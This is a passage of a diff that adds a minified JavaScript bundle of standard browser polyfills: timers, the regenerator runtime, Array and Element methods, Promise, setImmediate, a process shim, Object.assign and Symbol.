{ + return r(this, t, arguments.length > 1 ? arguments[1] : undefined, false) + } + }) + }, function (e, t, i) { + var n = i(9); + var r = i(0); + var a = i(77); + var s = [].slice; + var o = /MSIE .\./.test(a); + var l = function (e) { + return function (t, i) { + var n = arguments.length > 2; + var r = n ? s.call(arguments, 2) : false; + return e(n ? function () { + (typeof t == "function" ? t : Function(t)).apply(this, r) + } : t, i) + } + }; + r(r.G + r.B + r.F * o, { + setTimeout: l(n.setTimeout), + setInterval: l(n.setInterval) + }) + }, function (e, t, i) { + var n = i(0); + var r = i(104); + n(n.G + n.B, { + setImmediate: r.set, + clearImmediate: r.clear + }) + }, function (e, t, i) { + var n = i(102); + var r = i(43); + var a = i(32); + var s = i(9); + var o = i(19); + var l = i(54); + var u = i(11); + var d = u("iterator"); + var f = u("toStringTag"); + var c = l.Array; + var h = { + CSSRuleList: true, + CSSStyleDeclaration: false, + CSSValueList: false, + ClientRectList: false, + DOMRectList: false, + DOMStringList: false, + DOMTokenList: true, + DataTransferItemList: false, + FileList: false, + HTMLAllCollection: false, + HTMLCollection: false, + HTMLFormElement: false, + HTMLSelectElement: false, + MediaList: true, + MimeTypeArray: false, + NamedNodeMap: false, + NodeList: true, + PaintRequestList: false, + Plugin: false, + PluginArray: false, + SVGLengthList: false, + SVGNumberList: false, + SVGPathSegList: false, + SVGPointList: false, + SVGStringList: false, + SVGTransformList: false, + SourceBufferList: false, + StyleSheetList: true, + TextTrackCueList: false, + TextTrackList: false, + TouchList: false + }; + for (var m = r(h), p = 0; p < m.length; p++) { + var v = m[p]; + var _ = h[v]; + var g = s[v]; + var y = g && g.prototype; + var b; + if (y) { + if (!y[d]) o(y, d, c); + if (!y[f]) o(y, f, v); + l[v] = c; + if (_) + for (b in n) + if (!y[b]) a(y, b, n[b], true) + } + } + }, function (e, t, i) { + (function (t) { + ! function (t) { + "use strict"; + var i = Object.prototype; + var n = i.hasOwnProperty; + var r; + var a = typeof Symbol === "function" ? Symbol : {}; + var s = a.iterator || "@@iterator"; + var o = a.asyncIterator || "@@asyncIterator"; + var l = a.toStringTag || "@@toStringTag"; + var u = typeof e === "object"; + var d = t.regeneratorRuntime; + if (d) { + if (u) { + e.exports = d + } + return + } + d = t.regeneratorRuntime = u ? e.exports : {}; + + function f(e, t, i, n) { + var r = t && t.prototype instanceof g ? t : g; + var a = Object.create(r.prototype); + var s = new C(n || []); + a._invoke = S(e, i, s); + return a + } + d.wrap = f; + + function c(e, t, i) { + try { + return { + type: "normal", + arg: e.call(t, i) + } + } catch (e) { + return { + type: "throw", + arg: e + } + } + } + var h = "suspendedStart"; + var m = "suspendedYield"; + var p = "executing"; + var v = "completed"; + var _ = {}; + + function g() {} + + function y() {} + + function b() {} + var w = {}; + w[s] = function () { + return this + }; + var M = Object.getPrototypeOf; + var k = M && M(M(P([]))); + if (k && k !== i && n.call(k, s)) { + w = k + } + var L = b.prototype = g.prototype = Object.create(w); + y.prototype = L.constructor = b; + b.constructor = y; + b[l] = y.displayName = "GeneratorFunction"; + + function T(e) { + ["next", "throw", "return"].forEach(function (t) { + e[t] = function (e) { + return this._invoke(t, e) + } + }) + } + d.isGeneratorFunction = function (e) { + var t = typeof e === "function" && e.constructor; + return t ? t === y || (t.displayName || t.name) === "GeneratorFunction" : false + }; + d.mark = function (e) { + if (Object.setPrototypeOf) { + Object.setPrototypeOf(e, b) + } else { + e.__proto__ = b; + if (!(l in e)) { + e[l] = "GeneratorFunction" + } + } + e.prototype = Object.create(L); + return e + }; + d.awrap = function (e) { + return { + __await: e + } + }; + + function x(e) { + function i(t, r, a, s) { + var o = c(e[t], e, r); + if (o.type === "throw") { + s(o.arg) + } else { + var l = o.arg; + var u = l.value; + if (u && typeof u === "object" && n.call(u, "__await")) { + return Promise.resolve(u.__await).then(function (e) { + i("next", e, a, s) + }, function (e) { + i("throw", e, a, s) + }) + } + return Promise.resolve(u).then(function (e) { + l.value = e; + a(l) + }, s) + } + } + if (typeof t.process === "object" && t.process.domain) { + i = t.process.domain.bind(i) + } + var r; + + function a(e, t) { + function n() { + return new Promise(function (n, r) { + i(e, t, n, r) + }) + } + return r = r ? r.then(n, n) : n() + } + this._invoke = a + } + T(x.prototype); + x.prototype[o] = function () { + return this + }; + d.AsyncIterator = x; + d.async = function (e, t, i, n) { + var r = new x(f(e, t, i, n)); + return d.isGeneratorFunction(t) ? r : r.next().then(function (e) { + return e.done ? e.value : r.next() + }) + }; + + function S(e, t, i) { + var n = h; + return function r(a, s) { + if (n === p) { + throw new Error("Generator is already running") + } + if (n === v) { + if (a === "throw") { + throw s + } + return A() + } + i.method = a; + i.arg = s; + while (true) { + var o = i.delegate; + if (o) { + var l = Y(o, i); + if (l) { + if (l === _) continue; + return l + } + } + if (i.method === "next") { + i.sent = i._sent = i.arg + } else if (i.method === "throw") { + if (n === h) { + n = v; + throw i.arg + } + i.dispatchException(i.arg) + } else if (i.method === "return") { + i.abrupt("return", i.arg) + } + n = p; + var u = c(e, t, i); + if (u.type === "normal") { + n = i.done ? v : m; + if (u.arg === _) { + continue + } + return { + value: u.arg, + done: i.done + } + } else if (u.type === "throw") { + n = v; + i.method = "throw"; + i.arg = u.arg + } + } + } + } + + function Y(e, t) { + var i = e.iterator[t.method]; + if (i === r) { + t.delegate = null; + if (t.method === "throw") { + if (e.iterator.return) { + t.method = "return"; + t.arg = r; + Y(e, t); + if (t.method === "throw") { + return _ + } + } + t.method = "throw"; + t.arg = new TypeError("The iterator does not provide a 'throw' method") + } + return _ + } + var n = c(i, e.iterator, t.arg); + if (n.type === "throw") { + t.method = "throw"; + t.arg = n.arg; + t.delegate = null; + return _ + } + var a = n.arg; + if (!a) { + t.method = "throw"; + t.arg = new TypeError("iterator result is not an object"); + t.delegate = null; + return _ + } + if (a.done) { + t[e.resultName] = a.value; + t.next = e.nextLoc; + if (t.method !== "return") { + t.method = "next"; + t.arg = r + } + } else { + return a + } + t.delegate = null; + return _ + } + T(L); + L[l] = "Generator"; + L[s] = function () { + return this + }; + L.toString = function () { + return "[object Generator]" + }; + + function D(e) { + var t = { + tryLoc: e[0] + }; + if (1 in e) { + t.catchLoc = e[1] + } + if (2 in e) { + t.finallyLoc = e[2]; + t.afterLoc = e[3] + } + this.tryEntries.push(t) + } + + function E(e) { + var t = e.completion || {}; + t.type = "normal"; + delete t.arg; + e.completion = t + } + + function C(e) { + this.tryEntries = [{ + tryLoc: "root" + }]; + e.forEach(D, this); + this.reset(true) + } + d.keys = function (e) { + var t = []; + for (var i in e) { + t.push(i) + } + t.reverse(); + return function i() { + while (t.length) { + var n = t.pop(); + if (n in e) { + i.value = n; + i.done = false; + return i + } + } + i.done = true; + return i + } + }; + + function P(e) { + if (e) { + var t = e[s]; + if (t) { + return t.call(e) + } + if (typeof e.next === "function") { + return e + } + if (!isNaN(e.length)) { + var i = -1, + a = function t() { + while (++i < e.length) { + if (n.call(e, i)) { + t.value = e[i]; + t.done = false; + return t + } + } + t.value = r; + t.done = true; + return t + }; + return a.next = a + } + } + return { + next: A + } + } + d.values = P; + + function A() { + return { + value: r, + done: true + } + } + C.prototype = { + constructor: C, + reset: function (e) { + this.prev = 0; + this.next = 0; + this.sent = this._sent = r; + this.done = false; + this.delegate = null; + this.method = "next"; + this.arg = r; + this.tryEntries.forEach(E); + if (!e) { + for (var t in this) { + if (t.charAt(0) === "t" && n.call(this, t) && !isNaN(+t.slice(1))) { + this[t] = r + } + } + } + }, + stop: function () { + this.done = true; + var e = this.tryEntries[0]; + var t = e.completion; + if (t.type === "throw") { + throw t.arg + } + return this.rval + }, + dispatchException: function (e) { + if (this.done) { + throw e + } + var t = this; + + function i(i, n) { + o.type = "throw"; + o.arg = e; + t.next = i; + if (n) { + t.method = "next"; + t.arg = r + } + return !!n + } + for (var a = this.tryEntries.length - 1; a >= 0; --a) { + var s = this.tryEntries[a]; + var o = s.completion; + if (s.tryLoc === "root") { + return i("end") + } + if (s.tryLoc <= this.prev) { + var l = n.call(s, "catchLoc"); + var u = n.call(s, "finallyLoc"); + if (l && u) { + if (this.prev < s.catchLoc) { + return i(s.catchLoc, true) + } else if (this.prev < s.finallyLoc) { + return i(s.finallyLoc) + } + } else if (l) { + if (this.prev < s.catchLoc) { + return i(s.catchLoc, true) + } + } else if (u) { + if (this.prev < s.finallyLoc) { + return i(s.finallyLoc) + } + } else { + throw new Error("try statement without catch or finally") + } + } + } + }, + abrupt: function (e, t) { + for (var i = this.tryEntries.length - 1; i >= 0; --i) { + var r = this.tryEntries[i]; + if (r.tryLoc <= this.prev && n.call(r, "finallyLoc") && this.prev < r.finallyLoc) { + var a = r; + break + } + } + if (a && (e === "break" || e === "continue") && a.tryLoc <= t && t <= a.finallyLoc) { + a = null + } + var s = a ? a.completion : {}; + s.type = e; + s.arg = t; + if (a) { + this.method = "next"; + this.next = a.finallyLoc; + return _ + } + return this.complete(s) + }, + complete: function (e, t) { + if (e.type === "throw") { + throw e.arg + } + if (e.type === "break" || e.type === "continue") { + this.next = e.arg + } else if (e.type === "return") { + this.rval = this.arg = e.arg; + this.method = "return"; + this.next = "end" + } else if (e.type === "normal" && t) { + this.next = t + } + return _ + }, + finish: function (e) { + for (var t = this.tryEntries.length - 1; t >= 0; --t) { + var i = this.tryEntries[t]; + if (i.finallyLoc === e) { + this.complete(i.completion, i.afterLoc); + E(i); + return _ + } + } + }, + catch: function (e) { + for (var t = this.tryEntries.length - 1; t >= 0; --t) { + var i = this.tryEntries[t]; + if (i.tryLoc === e) { + var n = i.completion; + if (n.type === "throw") { + var r = n.arg; + E(i) + } + return r + } + } + throw new Error("illegal catch attempt") + }, + delegateYield: function (e, t, i) { + this.delegate = { + iterator: P(e), + resultName: t, + nextLoc: i + }; + if (this.method === "next") { + this.arg = r + } + return _ + } + } + }(typeof t === "object" ? t : typeof window === "object" ? window : typeof self === "object" ? self : this) + }).call(t, i(79)) + }, function (e, t, i) { + "use strict"; + var n = i(13); + var r = a(n); + + function a(e) { + return e && e.__esModule ? e : { + default: e + } + } + i(385); + if (!Element.prototype.matches) Element.prototype.matches = Element.prototype.msMatchesSelector || Element.prototype.webkitMatchesSelector; + if (!Element.prototype.closest) Element.prototype.closest = function (e) { + var t = this; + while (t) { + if (t.matches && t.matches(e)) { + return t + } + t = t.parentElement + } + }; + if (!Array.isArray) { + Array.isArray = function (e) { + return Object.prototype.toString.call(e) === "[object Array]" + } + } + if (!r.default) { + Array.from = function () { + var e = Object.prototype.toString; + var t = function t(i) { + return typeof i === "function" || e.call(i) === "[object Function]" + }; + var i = function e(t) { + var i = Number(t); + if (isNaN(i)) { + return 0 + } + if (i === 0 || !isFinite(i)) { + return i + } + return (i > 0 ? 1 : -1) * Math.floor(Math.abs(i)) + }; + var n = Math.pow(2, 53) - 1; + var r = function e(t) { + var r = i(t); + return Math.min(Math.max(r, 0), n) + }; + return function e(i) { + var n = this; + var a = Object(i); + if (i == null) { + throw new TypeError("Array.from requires an array-like object - not null or undefined") + } + var s = arguments.length > 1 ? arguments[1] : void undefined; + var o; + if (typeof s !== "undefined") { + if (!t(s)) { + throw new TypeError("Array.from: when provided, the second argument must be a function") + } + if (arguments.length > 2) { + o = arguments[2] + } + } + var l = r(a.length); + var u = t(n) ? Object(new n(l)) : new Array(l); + var d = 0; + var f; + while (d < l) { + f = a[d]; + if (s) { + u[d] = typeof o === "undefined" ? s(f, d) : s.call(o, f, d) + } else { + u[d] = f + } + d += 1 + } + u.length = l; + return u + } + }() + }(function () { + if (typeof window.CustomEvent === "function") return false; + + function e(e, t) { + t = t || { + bubbles: false, + cancelable: false, + detail: undefined + }; + var i = document.createEvent("CustomEvent"); + i.initCustomEvent(e, t.bubbles, t.cancelable, t.detail); + return i + } + e.prototype = window.Event.prototype; + window.CustomEvent = e + })(); + if (!Array.prototype.find) { + Object.defineProperty(Array.prototype, "find", { + value: function e(t) { + if (this == null) { + throw new TypeError('"this" is null or not defined') + } + var i = Object(this); + var n = i.length >>> 0; + if (typeof t !== "function") { + throw new TypeError("predicate must be a function") + } + var r = arguments[1]; + var a = 0; + while (a < n) { + var s = i[a]; + if (t.call(r, s, a, i)) { + return s + } + a++ + } + return undefined + } + }) + } + if (!Array.prototype.findIndex) { + Object.defineProperty(Array.prototype, "findIndex", { + value: function e(t) { + if (this == null) { + throw new TypeError('"this" is null or not defined') + } + var i = Object(this); + var n = i.length >>> 0; + if (typeof t !== "function") { + throw new TypeError("predicate must be a function") + } + var r = arguments[1]; + var a = 0; + while (a < n) { + var s = i[a]; + if (t.call(r, s, a, i)) { + return a + } + a++ + } + return -1 + } + }) + } + if (!Array.prototype.forEach) { + Array.prototype.forEach = function (e) { + var t, i; + if (this == null) { + throw new TypeError("this is null or not defined") + } + var n = Object(this); + var r = n.length >>> 0; + if (typeof e !== "function") { + throw new TypeError(e + " is not a function") + } + if (arguments.length > 1) { + t = arguments[1] + } + i = 0; + while (i < r) { + var a; + if (i in n) { + a = n[i]; + e.call(t, a, i, n) + } + i++ + } + } + }(function (e) { + e.forEach(function (e) { + if (e.hasOwnProperty("remove")) { + return + } + Object.defineProperty(e, "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function e() { + if (this.parentNode !== null) this.parentNode.removeChild(this) + } + }) + }) + })([Element.prototype, CharacterData.prototype, DocumentType.prototype]); + if (Element.prototype.getAttributeNames == undefined) { + Element.prototype.getAttributeNames = function () { + var e = this.attributes; + var t = e.length; + var i = new Array(t); + for (var n = 0; n < t; n++) { + i[n] = e[n].name + } + return i + } + } + }, function (e, t) { + e.exports = l + }, function (t, i) { + t.exports = e + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + (function (e) { + var t = i(388); + var n = i(151); + var r = function () { + if (typeof self !== "undefined") { + return self + } + if (typeof window !== "undefined") { + return window + } + if (typeof e !== "undefined") { + return e + } + throw new Error("unable to locate global object") + }(); + if (!("Promise" in r)) { + r["Promise"] = t["a"] + } else if (!r.Promise.prototype["finally"]) { + r.Promise.prototype["finally"] = n["a"] + } + }).call(t, i(79)) + }, function (e, t, i) { + "use strict"; + (function (e) { + var n = i(151); + var r = setTimeout; + + function a() {} + + function s(e, t) { + return function () { + e.apply(t, arguments) + } + } + + function o(e) { + if (!(this instanceof o)) throw new TypeError("Promises must be constructed via new"); + if (typeof e !== "function") throw new TypeError("not a function"); + this._state = 0; + this._handled = false; + this._value = undefined; + this._deferreds = []; + h(e, this) + } + + function l(e, t) { + while (e._state === 3) { + e = e._value + } + if (e._state === 0) { + e._deferreds.push(t); + return + } + e._handled = true; + o._immediateFn(function () { + var i = e._state === 1 ? t.onFulfilled : t.onRejected; + if (i === null) { + (e._state === 1 ? u : d)(t.promise, e._value); + return + } + var n; + try { + n = i(e._value) + } catch (e) { + d(t.promise, e); + return + } + u(t.promise, n) + }) + } + + function u(e, t) { + try { + if (t === e) throw new TypeError("A promise cannot be resolved with itself."); + if (t && (typeof t === "object" || typeof t === "function")) { + var i = t.then; + if (t instanceof o) { + e._state = 3; + e._value = t; + f(e); + return + } else if (typeof i === "function") { + h(s(i, t), e); + return + } + } + e._state = 1; + e._value = t; + f(e) + } catch (t) { + d(e, t) + } + } + + function d(e, t) { + e._state = 2; + e._value = t; + f(e) + } + + function f(e) { + if (e._state === 2 && e._deferreds.length === 0) { + o._immediateFn(function () { + if (!e._handled) { + o._unhandledRejectionFn(e._value) + } + }) + } + for (var t = 0, i = e._deferreds.length; t < i; t++) { + l(e, e._deferreds[t]) + } + e._deferreds = null + } + + function c(e, t, i) { + this.onFulfilled = typeof e === "function" ? e : null; + this.onRejected = typeof t === "function" ? t : null; + this.promise = i + } + + function h(e, t) { + var i = false; + try { + e(function (e) { + if (i) return; + i = true; + u(t, e) + }, function (e) { + if (i) return; + i = true; + d(t, e) + }) + } catch (e) { + if (i) return; + i = true; + d(t, e) + } + } + o.prototype["catch"] = function (e) { + return this.then(null, e) + }; + o.prototype.then = function (e, t) { + var i = new this.constructor(a); + l(this, new c(e, t, i)); + return i + }; + o.prototype["finally"] = n["a"]; + o.all = function (e) { + return new o(function (t, i) { + if (!e || typeof e.length === "undefined") throw new TypeError("Promise.all accepts an array"); + var n = Array.prototype.slice.call(e); + if (n.length === 0) return t([]); + var r = n.length; + + function a(e, s) { + try { + if (s && (typeof s === "object" || typeof s === "function")) { + var o = s.then; + if (typeof o === "function") { + o.call(s, function (t) { + a(e, t) + }, i); + return + } + } + n[e] = s; + if (--r === 0) { + t(n) + } + } catch (e) { + i(e) + } + } + for (var s = 0; s < n.length; s++) { + a(s, n[s]) + } + }) + }; + o.resolve = function (e) { + if (e && typeof e === "object" && e.constructor === o) { + return e + } + return new o(function (t) { + t(e) + }) + }; + o.reject = function (e) { + return new o(function (t, i) { + i(e) + }) + }; + o.race = function (e) { + return new o(function (t, i) { + for (var n = 0, r = e.length; n < r; n++) { + e[n].then(t, i) + } + }) + }; + o._immediateFn = typeof e === "function" && function (t) { + e(t) + } || function (e) { + r(e, 0) + }; + o._unhandledRejectionFn = function e(t) { + if (typeof console !== "undefined" && console) { + console.warn("Possible Unhandled Promise Rejection:", t) + } + }; + t["a"] = o + }).call(t, i(389).setImmediate) + }, function (e, t, i) { + (function (e) { + var n = typeof e !== "undefined" && e || typeof self !== "undefined" && self || window; + var r = Function.prototype.apply; + t.setTimeout = function () { + return new a(r.call(setTimeout, n, arguments), clearTimeout) + }; + t.setInterval = function () { + return new a(r.call(setInterval, n, arguments), clearInterval) + }; + t.clearTimeout = t.clearInterval = function (e) { + if (e) { + e.close() + } + }; + + function a(e, t) { + this._id = e; + this._clearFn = t + } + a.prototype.unref = a.prototype.ref = function () {}; + a.prototype.close = function () { + this._clearFn.call(n, this._id) + }; + t.enroll = function (e, t) { + clearTimeout(e._idleTimeoutId); + e._idleTimeout = t + }; + t.unenroll = function (e) { + clearTimeout(e._idleTimeoutId); + e._idleTimeout = -1 + }; + t._unrefActive = t.active = function (e) { + clearTimeout(e._idleTimeoutId); + var t = e._idleTimeout; + if (t >= 0) { + e._idleTimeoutId = setTimeout(function t() { + if (e._onTimeout) e._onTimeout() + }, t) + } + }; + i(390); + t.setImmediate = typeof self !== "undefined" && self.setImmediate || typeof e !== "undefined" && e.setImmediate || this && this.setImmediate; + t.clearImmediate = typeof self !== "undefined" && self.clearImmediate || typeof e !== "undefined" && e.clearImmediate || this && this.clearImmediate + }).call(t, i(79)) + }, function (e, t, i) { + (function (e, t) { + (function (e, i) { + "use strict"; + if (e.setImmediate) { + return + } + var n = 1; + var r = {}; + var a = false; + var s = e.document; + var o; + + function l(e) { + if (typeof e !== "function") { + e = new Function("" + e) + } + var t = new Array(arguments.length - 1); + for (var i = 0; i < t.length; i++) { + t[i] = arguments[i + 1] + } + var a = { + callback: e, + args: t + }; + r[n] = a; + o(n); + return n++ + } + + function u(e) { + delete r[e] + } + + function d(e) { + var t = e.callback; + var n = e.args; + switch (n.length) { + case 0: + t(); + break; + case 1: + t(n[0]); + break; + case 2: + t(n[0], n[1]); + break; + case 3: + t(n[0], n[1], n[2]); + break; + default: + t.apply(i, n); + break + } + } + + function f(e) { + if (a) { + setTimeout(f, 0, e) + } else { + var t = r[e]; + if (t) { + a = true; + try { + d(t) + } finally { + u(e); + a = false + } + } + } + } + + function c() { + o = function (e) { + t.nextTick(function () { + f(e) + }) + } + } + + function h() { + if (e.postMessage && !e.importScripts) { + var t = true; + var i = e.onmessage; + e.onmessage = function () { + t = false + }; + e.postMessage("", "*"); + e.onmessage = i; + return t + } + } + + function m() { + var t = "setImmediate$" + Math.random() + "$"; + var i = function (i) { + if (i.source === e && typeof i.data === "string" && i.data.indexOf(t) === 0) { + f(+i.data.slice(t.length)) + } + }; + if (e.addEventListener) { + e.addEventListener("message", i, false) + } else { + e.attachEvent("onmessage", i) + } + o = function (i) { + e.postMessage(t + i, "*") + } + } + + function p() { + var e = new MessageChannel; + e.port1.onmessage = function (e) { + var t = e.data; + f(t) + }; + o = function (t) { + e.port2.postMessage(t) + } + } + + function v() { + var e = s.documentElement; + o = function (t) { + var i = s.createElement("script"); + i.onreadystatechange = function () { + f(t); + i.onreadystatechange = null; + e.removeChild(i); + i = null + }; + e.appendChild(i) + } + } + + function _() { + o = function (e) { + setTimeout(f, 0, e) + } + } + var g = Object.getPrototypeOf && Object.getPrototypeOf(e); + g = g && g.setTimeout ? g : e; + if ({}.toString.call(e.process) === "[object process]") { + c() + } else if (h()) { + m() + } else if (e.MessageChannel) { + p() + } else if (s && "onreadystatechange" in s.createElement("script")) { + v() + } else { + _() + } + g.setImmediate = l; + g.clearImmediate = u + })(typeof self === "undefined" ? typeof e === "undefined" ? this : e : self) + }).call(t, i(79), i(391)) + }, function (e, t) { + var i = e.exports = {}; + var n; + var r; + + function a() { + throw new Error("setTimeout has not been defined") + } + + function s() { + throw new Error("clearTimeout has not been defined") + }(function () { + try { + if (typeof setTimeout === "function") { + n = setTimeout + } else { + n = a + } + } catch (e) { + n = a + } + try { + if (typeof clearTimeout === "function") { + r = clearTimeout + } else { + r = s + } + } catch (e) { + r = s + } + })(); + + function o(e) { + if (n === setTimeout) { + return setTimeout(e, 0) + } + if ((n === a || !n) && setTimeout) { + n = setTimeout; + return setTimeout(e, 0) + } + try { + return n(e, 0) + } catch (t) { + try { + return n.call(null, e, 0) + } catch (t) { + return n.call(this, e, 0) + } + } + } + + function l(e) { + if (r === clearTimeout) { + return clearTimeout(e) + } + if ((r === s || !r) && clearTimeout) { + r = clearTimeout; + return clearTimeout(e) + } + try { + return r(e) + } catch (t) { + try { + return r.call(null, e) + } catch (t) { + return r.call(this, e) + } + } + } + var u = []; + var d = false; + var f; + var c = -1; + + function h() { + if (!d || !f) { + return + } + d = false; + if (f.length) { + u = f.concat(u) + } else { + c = -1 + } + if (u.length) { + m() + } + } + + function m() { + if (d) { + return + } + var e = o(h); + d = true; + var t = u.length; + while (t) { + f = u; + u = []; + while (++c < t) { + if (f) { + f[c].run() + } + } + c = -1; + t = u.length + } + f = null; + d = false; + l(e) + } + i.nextTick = function (e) { + var t = new Array(arguments.length - 1); + if (arguments.length > 1) { + for (var i = 1; i < arguments.length; i++) { + t[i - 1] = arguments[i] + } + } + u.push(new p(e, t)); + if (u.length === 1 && !d) { + o(m) + } + }; + + function p(e, t) { + this.fun = e; + this.array = t + } + p.prototype.run = function () { + this.fun.apply(null, this.array) + }; + i.title = "browser"; + i.browser = true; + i.env = {}; + i.argv = []; + i.version = ""; + i.versions = {}; + + function v() {} + i.on = v; + i.addListener = v; + i.once = v; + i.off = v; + i.removeListener = v; + i.removeAllListeners = v; + i.emit = v; + i.prependListener = v; + i.prependOnceListener = v; + i.listeners = function (e) { + return [] + }; + i.binding = function (e) { + throw new Error("process.binding is not supported") + }; + i.cwd = function () { + return "/" + }; + i.chdir = function (e) { + throw new Error("process.chdir is not supported") + }; + i.umask = function () { + return 0 + } + }, function (e, t, i) { + i(393); + e.exports = i(14).Object.assign + }, function (e, t, i) { + var n = i(24); + n(n.S + n.F, "Object", { + assign: i(394) + }) + }, function (e, t, i) { + "use strict"; + var n = i(48); + var r = i(110); + var a = i(68); + var s = i(62); + var o = i(124); + var l = Object.assign; + e.exports = !l || i(47)(function () { + var e = {}; + var t = {}; + var i = Symbol(); + var n = "abcdefghijklmnopqrst"; + e[i] = 7; + n.split("").forEach(function (e) { + t[e] = e + }); + return l({}, e)[i] != 7 || Object.keys(l({}, t)).join("") != n + }) ? function e(t, i) { + var l = s(t); + var u = arguments.length; + var d = 1; + var f = r.f; + var c = a.f; + while (u > d) { + var h = o(arguments[d++]); + var m = f ? n(h).concat(f(h)) : n(h); + var p = m.length; + var v = 0; + var _; + while (p > v) + if (c.call(h, _ = m[v++])) l[_] = h[_] + } + return l + } : l + }, function (e, t, i) { + e.exports = { + default: i(396), + __esModule: true + } + }, function (e, t, i) { + i(118); + i(397); + e.exports = i(111).f("iterator") + }, function (e, t, i) { + i(398); + var n = i(29); + var r = i(44); + var a = i(61); + var s = i(21)("toStringTag"); + var o = ("CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList," + "DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement," + "MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList," + "SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList," + "TextTrackList,TouchList").split(","); + for (var l = 0; l < o.length; l++) { + var u = o[l]; + var d = n[u]; + var f = d && d.prototype; + if (f && !f[s]) r(f, s, u); + a[u] = a.Array + } + }, function (e, t, i) { + "use strict"; + var n = i(399); + var r = i(400); + var a = i(61); + var s = i(31); + e.exports = i(119)(Array, "Array", function (e, t) { + this._t = s(e); + this._i = 0; + this._k = t + }, function () { + var e = this._t; + var t = this._k; + var i = this._i++; + if (!e || i >= e.length) { + this._t = undefined; + return r(1) + } + if (t == "keys") return r(0, i); + if (t == "values") return r(0, e[i]); + return r(0, [i, e[i]]) + }, "values"); + a.Arguments = a.Array; + n("keys"); + n("values"); + n("entries") + }, function (e, t) { + e.exports = function () {} + }, function (e, t) { + e.exports = function (e, t) { + return { + value: t, + done: !!e + } + } + }, function (e, t, i) { + e.exports = { + default: i(402), + __esModule: true + } + }, function (e, t, i) { + i(403); + i(408); + i(409); + i(410); + e.exports = i(14).Symbol + }, function (e, t, i) { + "use strict"; + var n = i(29); + var r = i(35); + var a = i(34); + var s = i(24); + var o = i(122); + var l = i(404).KEY; + var u = i(47); + var d = i(87); + var f = i(89); + var c = i(71); + var h = i(21); + var m = i(111); + var p = i(112); + var v = i(405); + var _ = i(406); + var g = i(45); + var y = i(46); + var b = i(31); + var w = i(83); + var M = i(60); + var k = i(84); + var L = i(407); + var T = i(113); + var x = i(30); + var S = i(48); + var Y = T.f; + var D = x.f; + var E = L.f; + var C = n.Symbol; + var P = n.JSON; + var A = P && P.stringify; + var O = "prototype"; + var j = h("_hidden"); + var H = h("toPrimitive"); + var I = {}.propertyIsEnumerable; + var F = d("symbol-registry"); + var z = d("symbols"); + var R = d("op-symbols"); + var N = Object[O]; + var W = typeof C == "function"; + var B = n.QObject; + var q = !B || !B[O] || !B[O].findChild; + var $ = a && u(function () { + return k(D({}, "a", { + get: function () { + return D(this, "a", { + value: 7 + }).a + } + })).a != 7 + }) ? function (e, t, i) { + var n = Y(N, t); + if (n) delete N[t]; + D(e, t, i); + if (n && e !== N) D(N, t, n) + } : D; + var V = function (e) { + var t = z[e] = k(C[O]); + t._k = e; + return t + }; + var G = W && typeof C.iterator == "symbol" ? function (e) { + return typeof e == "symbol" + } : function (e) { + return e instanceof C + }; + var U = function e(t, i, n) { + if (t === N) U(R, i, n); + g(t); + i = w(i, true); + g(n); + if (r(z, i)) { + if (!n.enumerable) { + if (!r(t, j)) D(t, j, M(1, {})); + t[j][i] = true + } else { + if (r(t, j) && t[j][i]) t[j][i] = false; + n = k(n, { + enumerable: M(0, false) + }) + } + return $(t, i, n) + } + return D(t, i, n) + }; + var X = function e(t, i) { + g(t); + var n = v(i = b(i)); + var r = 0; + var a = n.length; + var s; + while (a > r) U(t, s = n[r++], i[s]); + return t + }; + var J = function e(t, i) { + return i === undefined ? k(t) : X(k(t), i) + }; + var K = function e(t) { + var i = I.call(this, t = w(t, true)); + if (this === N && r(z, t) && !r(R, t)) return false; + return i || !r(this, t) || !r(z, t) || r(this, j) && this[j][t] ? i : true + }; + var Q = function e(t, i) { + t = b(t); + i = w(i, true); + if (t === N && r(z, i) && !r(R, i)) return; + var n = Y(t, i); + if (n && r(z, i) && !(r(t, j) && t[j][i])) n.enumerable = true; + return n + }; + var Z = function e(t) { + var i = E(b(t)); + var n = []; + var a = 0; + var s; + while (i.length > a) { + if (!r(z, s = i[a++]) && s != j && s != l) n.push(s) + } + return n + }; + var ee = function e(t) { + var i = t === N; + var n = E(i ? R : b(t)); + var a = []; + var s = 0; + var o; + while (n.length > s) { + if (r(z, o = n[s++]) && (i ? r(N, o) : true)) a.push(z[o]) + } + return a + }; + if (!W) { + C = function e() { + if (this instanceof C) throw TypeError("Symbol is not a constructor!"); + var t = c(arguments.length > 0 ? arguments[0] : undefined); + var i = function (e) { + if (this === N) i.call(R, e); + if (r(this, j) && r(this[j], t)) this[j][t] = false; + $(this, t, M(1, e)) + }; + if (a && q) $(N, t, { + configurable: true, + set: i + }); + return V(t) + }; + o(C[O], "toString", function e() { + return this._k + }); + T.f = Q; + x.f = U; + i(152).f = L.f = Z; + i(68).f = K; + i(110).f = ee; + if (a && !i(70)) { + o(N, "propertyIsEnumerable", K, true) + } + m.f = function (e) { + return V(h(e)) + } + } + s(s.G + s.W + s.F * !W, { + Symbol: C + }); + for (var te = "hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","), ie = 0; te.length > ie;) h(te[ie++]); + for (var ne = S(h.store), re = 0; ne.length > re;) p(ne[re++]); + s(s.S + s.F * !W, "Symbol", { + for: function (e) { + return r(F, e += "") ? F[e] : F[e] = C(e) + }, + keyFor: function e(t) { + if (!G(t)) throw TypeError(t + " is not a symbol!"); + for (var i in F) + if (F[i] === t) return i + }, + useSetter: function () { + q = true + }, + useSimple: function () { + q = false + } + }); + s(s.S + s.F * !W, "Object", { + create: J, + defineProperty: U, + defineProperties: X, + getOwnPropertyDescriptor: Q, + getOwnPropertyNames: Z, + getOwnPropertySymbols: ee + }); + P && s(s.S + s.F * (!W || u(function () { + var e = C(); + return A([e]) != "[null]" || A({ + a: e + }) != "{}" || A(Object(e)) != "{}" + })), "JSON", { + stringify: function e(t) { + var i = [t]; + var n = 1; + var r, a; + while (arguments.length > n) 